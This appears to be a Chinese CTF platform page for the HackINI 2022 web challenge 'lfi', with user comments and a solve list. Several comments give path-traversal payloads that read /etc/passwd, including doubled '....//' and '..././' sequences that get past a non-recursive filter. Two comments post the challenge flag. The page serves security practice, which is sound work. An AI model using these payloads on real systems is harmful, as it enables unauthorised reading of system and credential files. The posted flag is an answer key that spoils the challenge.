lfiWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一  血: tzzzez
一血奖励: 0金币
解  决: 2453
提  示:
描  述:
We made some serious checks now, would you test it ?
评论
阿甘先生 2年前

?language=..//etc/passwd

回复 0

jun1223 2年前

?language=/etc/passwd 这也行

回复 3

userxin 2年前

?language=/../../../../../etc/passwd

回复 0

hbesljx 2年前

直接language=....//....//....//....//....//....//etc/passwd即可。..../过滤掉../后还是../

回复 1

1005667204 2年前

使用?language=./language/..././..././..././..././..././..././..././etc/passwd或者使用双写?language=/languages/....//....//....//....//....//....//etc/passwd

回复 0

18993258097 2年前

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 0

菜鸡的小韩 2年前

这是一个基本的绕过,因为 str_replace('../', '',$_GET['language'])这串代码../会被替换成空格,所以要进行一个绕过,用..././来代替../ 。url中写?language=./..././..././..././..././..././etc/passwd即可

回复 0

ABC第一深情 2年前

/?language=/etc/passwd

回复 3

曦羽unT0x1ns 2年前

直接用file:///etc/passwd居然也行 oAo

回复 0
13657809271 2年前

我这样怎么不行

回复 0

XHTX 2年前

?language=/languages//..//..//..//....//etc/passwd shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3} 就是这个样子

回复 0

WriteUp

image
a2cai

2 金币

评分(4)

解题动态

tjuzh 攻破了该题 9小时前
y3yeye 攻破了该题 1天前
2649562328 攻破了该题 1天前
SHW 攻破了该题 1天前
=⭐ 攻破了该题 1天前
Todjjj 攻破了该题 2天前
tttwww 攻破了该题 2天前
itsjimo 攻破了该题 2天前
mrg 攻破了该题 3天前
A1ertx5s 攻破了该题 3天前
zhanghongchao 攻破了该题 3天前
dlgz 攻破了该题 3天前
zzz122 攻破了该题 3天前
huangyihao 攻破了该题 4天前
wohinsy 攻破了该题 5天前
世界你好 攻破了该题 5天前
aoshisky 攻破了该题 5天前
许念安 攻破了该题 6天前
badleo 攻破了该题 7天前
18301205818 攻破了该题 7天前
问题反馈